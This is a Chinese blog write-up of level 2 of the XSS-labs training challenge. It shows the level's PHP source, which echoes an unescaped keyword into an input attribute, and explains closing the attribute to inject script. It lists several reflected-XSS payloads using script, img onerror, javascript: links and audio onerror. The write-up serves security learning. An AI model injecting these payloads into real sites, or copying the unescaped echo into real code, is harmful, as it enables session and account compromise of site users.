XSS-labs-level2详解

仲瑿

已于 2023-05-23 13:36:06 修改

阅读量174

点赞数 1

分类专栏： XSS-labs 文章标签： xss 前端

于 2023-05-23 10:49:55 首次发布

本文链接：https://blog.csdn.net/m0_49025459/article/details/130806155

版权

XSS-labs 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

访问题目url

我们分析一下代码层面：

当用户在文本框中输入搜索关键字并点击提交按钮时，表单将通过GET方法发送给名为“level2.php”的脚本页面。PHP代码检查URL参数中的“keyword”值，对其进行HTML转义，然后将其用于搜索结果消息中的输出。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

我们正常输入然后在网页前端看一下我的输入是否存在问题。

由此可见我们的输入的恶意代码并没有被网页直接执行，所以我们需要将<input>标签闭合，然后注释掉最后面的”>。

"><script>alert("xss")</script>//

就可以成功绕过，形成反射性xss了

而其他标签法遵循这个原理也可以进行xss

"><img src=x onerror=alert(1)>//
"><a href="javascript:alert(1)">test</a>//
"><audio src=1 onerror=alert(1)>//

仲瑿

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
打赏
0
评论
XSS-labs-level2详解

当用户在文本框中输入搜索关键字并点击提交按钮时，表单将通过GET方法发送给名为“level2.php”的脚本页面。PHP代码检查URL参数中的“keyword”值，对其进行HTML转义，然后将其用于搜索结果消息中的输出。由此可见我们的输入的恶意代码并没有被网页直接执行，所以我们需要将标签闭合，然后注释掉最后面的”>。我们正常输入然后在网页前端看一下我的输入是否存在问题。而其他标签法遵循这个原理也可以进行xss。就可以成功绕过，形成反射性xss了。
复制链接

扫一扫